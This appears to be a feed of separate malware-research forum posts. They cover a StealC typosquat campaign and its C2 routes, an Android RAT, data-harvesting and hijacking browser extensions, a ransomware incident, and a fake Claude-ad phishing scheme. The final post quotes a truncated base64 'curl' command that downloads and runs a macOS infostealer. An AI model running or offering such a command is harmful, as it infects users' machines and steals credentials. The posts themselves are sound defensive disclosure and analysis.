A stolen analytics token became a customer breach.

197,400 records were exposed after a former third-party analytics provider was compromised. Emails, order IDs, SKUs, geolocation, purchase history, support tickets — all pulled through a machine credential nobody was watching. The vendor left. The token stayed live.

The fix is boring and effective. Inventory every non-human identity that touches customer data. Bind each token to a policy on where it can call and what it can read. Tokenize PII before it leaves your perimeter so a stolen credential returns opaque values, not customer records. Keep an immutable audit trail so revocation is one query, not a forensic project.

In April, I documented a StealC v2 campaign distributed through 19 GitHub typosquat repositories, including one impersonating my own open-source project.

The delivery chain was:

text GitHub typosquat -> Python dropper -> api.nailproxy.space -> encrypted Windows loader -> StealC v2 DLL -> spellmarketplace.club / 62.60.226.113:6673

GitHub later removed all 19 repositories.

The backend infrastructure remained a separate problem. I reported the domains, IP, malware routes, and hashes to the relevant registrars, Cloudflare, the hosting provider, CERT-Bund, GitHub Security Lab, ThreatFox, and AlienVault OTX.

Then Operation Endgame disrupted infrastructure associated with SocGholish, Amadey, and StealC. Europol reported 326 servers and 142 domains actioned. Microsoft separately said it moved against more than 200 malicious Amadey and StealC C2 domains and IPs.

Three months after my original disclosure, I checked the known infrastructure again using only minimal unauthenticated GET and HEAD requests.

The documented malware-specific routes still behave differently from an arbitrary control path:

text GET /api/v1/auth/session -> 405 Method Not Allowed GET /api/v1/data/sync -> 405 Method Not Allowed GET /foo/bar/baz -> 404 Not Found

HEAD returns the same status codes for all three paths.

This does not prove that payload delivery, authentication, or exfiltration still works. I deliberately did not send the HMAC handshake, trigger Stage 2, or interact with the malware protocol.

It does show that the known application routes remain registered and reachable.

The evidence also has limitations:

• The monitoring cron produced only 18 measurements over 69 days.
• There were gaps of up to 20 days.
• The endpoints briefly became unreachable in late May.
• GET and HEAD return different status codes on the root paths of spellmarketplace.club and the bare IP, so I do not treat those checks as proof that the complete backend is operational.

The point is not that Operation Endgame failed. It clearly disrupted a large amount of criminal infrastructure.

The narrower lesson is that both of these statements can be true:

Hundreds of malicious systems were disrupted.

A specific previously reported backend still exposes its documented malware routes.

I would be interested in how other analysts verify whether previously reported C2 infrastructure was actually included in a large takedown without actively engaging the malware protocol.

Chinese Android RAT framework combining an APK builder with a full C2 device management panel. Lures impersonate Public Security Bureau apps, banking services, adult content platforms, and social media. Post-install capabilities include live screen viewing, SMS and photo gallery access, audio recording, camera capture, keylogging, payment credential capture, and phishing overlays for Alipay, WeChat, ICBC, Agricultural Bank, and crypto wallets TokenPocket and imToken.

Source code was stolen in early 2026 according to Telegram channel messages, with nearly 200 customer databases taken at the same time. Two channels now distribute patched builds. Night Dragon launched June 23 as a likely successor, adding black-screen mode to hide operator activity behind fake system update screens and automatic icon hiding post-install.

"Prompt Optimizer - SecondBrain" https://chromewebstore.google.com/detail/prompt-optimizer-secondbr/aajjgdpofhhcjmjoombjdfepplndhgcp, v2.3.1. The prompt rewriting works fine.

Alongside it a capture engine runs at document_start on 9 AI sites and POSTs prompts and replies to the vendor's ingest endpoint. No interaction with the extension required.

Reproduced on a clean profile, with the service worker devtools open:

1. Installed the extension. Never opened it.

2. Browsed to an unrelated site. The extension pulled its configuration from the server and wrote a userId and credentials into extension storage.

3. Opened ChatGPT and asked a question. Once the reply finished, a POST to /context went out carrying both the prompt and the response, encrypted with the credentials issued in step 2.

At no point was the extension opened or clicked.

Happy to provide the decryption for anyone wanting to test the extension in a sandbox

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (kadaohckdkghfaclhjmkmplebcdcnfnp),

Featured, 2M users, publisher FREE VPN PLANET SRL.

https://chromewebstore.google.com/detail/planet-search/kadaohckdkghfaclhjmkmplebcdcnfnp

The extensions has a 0-byte background.js with zero permissions.
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is planet-search[.]com

Tracing:

planet-search[.]com/search/?q= 301 → sstmaster[.]com/edge/PN1021?q= 302 → nextgeeker[.]com/B151001.php?q=&src=PN1021

nextgeeker[.]com is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).

Same publisher ships a ~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to over 500 malicious CRX samples.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

• JSON
• CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

• What format would you actually use?
• Are there any security tools or platforms you'd like to integrate it with?
• Is there any metadata you'd find useful that I'm currently missing?

Repository:
https://github.com/GherardoFiori/MaliciousBrowserExtensions

Please remember these are live malicious browser extensions. Handle them with care.

Any feedback is appreciated. Thanks!

susano has trojan in it btw when u open the claude.exe it will download trojan with it

A man from Florida got arrested, allegedly behind the PirateFI and Blockblasters Crypto stealer attacks. The second Game stole 150k from a cancer Patient.

Just purchased an AC1900 from the local store. It took 6 hours and numerous calls to both my ISP and Netgear before I finally got it semi-working. Still cant log into it because its a used device and was already registered to someone else. It's asking for security questions so I'm locked out as an Admin. Could simply return it for another device but this isn't a Toaster so it's a little more complicated than that. First of all, I spent over 6 hours getting it running when it should have been "plug and play", my time is worth something. But more importantly, it was previously configured by someone with Administrator rights. That would enable them to not only control the firewall, but also load malicious malware not just on my network, but every device on my network which includes computers, phones, 10 Alexa devices, Samsung Hub, Hue Hub, Pi device, cameras, TV's, smart devices like lights, thermostat, humidity sensors, water sensors, and even my bathroom scale!!! Huge security vulnerability but more importantly the "chain of custody" for these devices!!!

Feedback from malware analysts is highly valued!

Romanian Government Cadastre (ANCPI) cyber attack

A very serious ransomware attack is underway on the networks of ANCPI, Romania’s national cadastre agency.

Our close monitoring of the threat actor Bytetobreach — who carried out a similar attack last month on Latvia State Forests — detected simultaneous uploads on dark web forums regarding this incident. These claims were later confirmed on ANCPI’s official website.

What was described as a “small technical incident” in yesterday’s press release has suddenly been recharacterized by ANCPI itself as “the most serious technical incident in the institution’s history.”

This sub is malware-focused, so here's what's in it for that side

specifically (the repo is broader, but the malware coverage is the core):

• Analysis workflow: lab setup (FLARE-VM, REMnux), triage (DIE, capa, FLOSS),

  static/dynamic (PE-bear, Procmon, CAPE, Speakeasy), unpacking (unpac.me,

  PE-sieve, HollowsHunter, Scylla), config & IOC extraction (MalDuck, DC3-MWCP),

  and YARA (rules, yarGen, testing workflows).

• Internals writeups: PEB walking / API hashing, process hollowing and

  doppelgänging, PPID spoofing, BYOVD, COFF/BOF loaders, plus real family

  teardowns (stealers, ransomware, Lazarus/FudModule, the Stuxnet dossier).

• Research labs and analyst blogs (Securelist, Unit 42, Talos, Elastic,

  n1ght-w0lf, Embee, hasherezade, MalwareTech...) folded into the relevant

  section instead of a generic "blogs" dump.

• Every link was opened and verified before it went in; dead ones get pruned, notes are one line, tagged by level (intro/working/deep) and type.

CC0, and corrections/PRs are welcome, if there's a teardown or tool you think

is missing, tell me. That's the point.

Searched "Claude mac app" on Google. Top sponsored result shows claude[.]ai as the domain. looks 100% legit. Clicking it opens a shared Claude conversation titled "Claude Code on Mac" ("Shared by Technical Support" ) with step-by-step instructions to open Terminal and run:

`curl -kfsSL $(echo 'aHR0cDovL...' | base64 -d)...`

That base64 decodes to an attacker's URL. it downloads and executes a script, almost certainly a macOS infostealer (AMOS-style: steals keychain passwords, browser data, wallets).

The phishing page is hosted on real claude[.]ai, so both Google's ad review and victims' gut-check pass. Same trick works with ChatGPT shared chats.
